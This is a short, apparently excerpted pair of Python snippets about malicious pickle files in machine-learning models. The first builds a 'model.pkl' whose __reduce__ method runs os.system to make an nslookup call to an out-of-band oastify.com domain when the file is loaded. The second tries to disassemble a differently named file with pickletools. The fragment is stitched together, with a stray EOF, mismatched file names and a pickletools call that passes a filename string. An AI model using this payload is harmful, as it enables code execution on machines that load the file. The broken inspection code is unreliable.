| import pickle, os | |
| class RCE: | |
| def __reduce__(self): | |
| return (os.system, ("nslookup xz054hepzk0utdgyzi52qum71y7svjj8.oastify.com",)) | |
| pickle.dump(RCE(), open("model.pkl","wb")) | |
| EOF | |
| python - << 'EOF' | |
| import pickletools | |
| print("Pickle opcodes detected:") | |
| pickletools.dis("unsafe_pickle_model.pt") | |
| EOF |